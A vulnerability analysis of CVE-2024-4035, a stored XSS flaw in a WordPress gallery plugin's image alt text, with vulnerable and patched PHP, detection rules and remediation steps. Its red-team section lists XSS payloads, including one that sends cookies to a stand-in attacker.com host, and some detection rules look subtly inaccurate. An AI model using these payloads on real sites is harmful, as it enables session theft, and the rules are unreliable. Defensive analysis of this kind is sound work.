CVE-2024-4035

Executive Summary

CVE-2024-4035 is a Stored Cross-Site Scripting (XSS) vulnerability in the Photo Gallery – GT3 Image Gallery & Gutenberg Block Gallery WordPress plugin, affecting all versions up to and including 2.7.7.21. The flaw resides in insufficient sanitization of image alt text, allowing authenticated attackers with author-level access or higher to inject arbitrary web scripts. When a user (including administrators) views a page containing the malicious gallery, the injected script executes in their browser session. This can lead to session hijacking, credential theft, or defacement within the WordPress ecosystem.

The vulnerability is specific to the WordPress plugin ecosystem and does not involve Apache or Nginx server software. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not provided a patch as of this analysis.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for authenticated access, but the low complexity and potential for privilege escalation via session theft elevate the risk in multi-tenant WordPress environments.

Deep Dive & Mechanics

The vulnerability exists in the gt3_photo_gallery plugin’s handling of image metadata. When an author or higher-privilege user uploads or edits an image in the WordPress media library, the plugin stores the alt attribute without proper sanitization. The plugin then renders this alt text directly into the HTML output of gallery shortcodes or blocks without escaping.

Attack Flow:

1. An authenticated attacker with author-level access uploads an image or edits an existing one.
2. The attacker sets the image alt text to a malicious payload, e.g., <script>alert(document.cookie)</script>.
3. The plugin stores this payload in the wp_postmeta table.
4. When any user (including admins) visits a page containing the GT3 gallery, the plugin outputs the unsanitized alt text.
5. The browser executes the injected script, leading to XSS.

The root cause is the use of echo $alt_text instead of echo esc_attr($alt_text) or esc_html() in the plugin’s template files.

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin template):

<?php
$alt_text = get_post_meta($image_id, '_wp_attachment_image_alt', true);
echo '<img src="' . $image_url . '" alt="' . $alt_text . '" />';
?>

Patched Code (hypothetical fix):

<?php
$alt_text = get_post_meta($image_id, '_wp_attachment_image_alt', true);
echo '<img src="' . esc_url($image_url) . '" alt="' . esc_attr($alt_text) . '" />';
?>

The patch uses esc_attr() to HTML-encode the alt text, preventing script injection. Since no official patch exists, users must apply this fix manually or disable the plugin.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with GT3 Photo Gallery plugin <= 2.7.7.21
• Author-level account credentials

Exploitation Steps:

1. Log in as an author.
2. Navigate to Media > Library.
3. Edit an existing image or upload a new one.
4. In the “Alternative Text” field, enter:

   <img src=x onerror=alert(document.cookie)>
   

   Or for persistent session theft:

   <script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
   

5. Update the image.
6. Create or edit a post/page and add the GT3 Gallery block/shortcode containing the malicious image.
7. Publish the post.
8. Any visitor (including admins) viewing the page triggers the XSS.

Note: No public exploit code exists; this is a manual exploitation guide.

Blue Team

Detection:

• Monitor WordPress admin logs for unusual image alt text modifications.
• Use WAF rules to block <script> tags in alt fields.
• Deploy a WordPress security plugin (e.g., Wordfence) with XSS filtering.

Hunting:

• Query the database for suspicious alt text:

  SELECT * FROM wp_postmeta WHERE meta_key = '_wp_attachment_image_alt' AND meta_value LIKE '%<script%';
  

• Review HTTP logs for requests containing alt= with script payloads.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/gt3-photo-gallery/ (any file containing unsanitized alt output)
• Database: wp_postmeta entries with meta_key = '_wp_attachment_image_alt' containing <script> or <img onerror=
• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages
• Logs: WordPress debug log entries showing esc_attr failures or XSS attempts

Detection Engineering

YARA Rule

rule CVE_2024_4035_GT3_XSS {
    meta:
        description = "Detects unsanitized alt text output in GT3 Photo Gallery plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-4035"
    strings:
        $unsafe_alt = /echo.*alt.*\$alt_text/ nocase
        $safe_alt = /esc_attr.*\$alt_text/ nocase
    condition:
        $unsafe_alt and not $safe_alt
}

Sigma Rule

title: CVE-2024-4035 GT3 Photo Gallery Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via image alt text in GT3 Photo Gallery plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/wp-admin/"
        cs-method: POST
        cs-uri-query|contains: "action=editpost"
        cs-uri-query|contains: "post_type=post"
        cs-uri-query|contains: "gt3_gallery"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate alt text with special characters
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4035 GT3 Photo Gallery Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/"; http_uri; content:"action=editpost"; http_uri; content:"gt3_gallery"; http_uri; pcre:"/_wp_attachment_image_alt=[^&]*<script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Apply a virtual patch using a WAF to block <script> tags in alt parameters.
3. Restrict author-level permissions to trusted users only.

Long-term Fix:

• The vendor must release version 2.7.7.22 or later with proper output escaping using esc_attr().
• Alternatively, manually patch the plugin files as shown in the Vulnerable vs. Patched Code section.

Workaround:

• Use a WordPress security plugin that enforces input sanitization on media fields.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst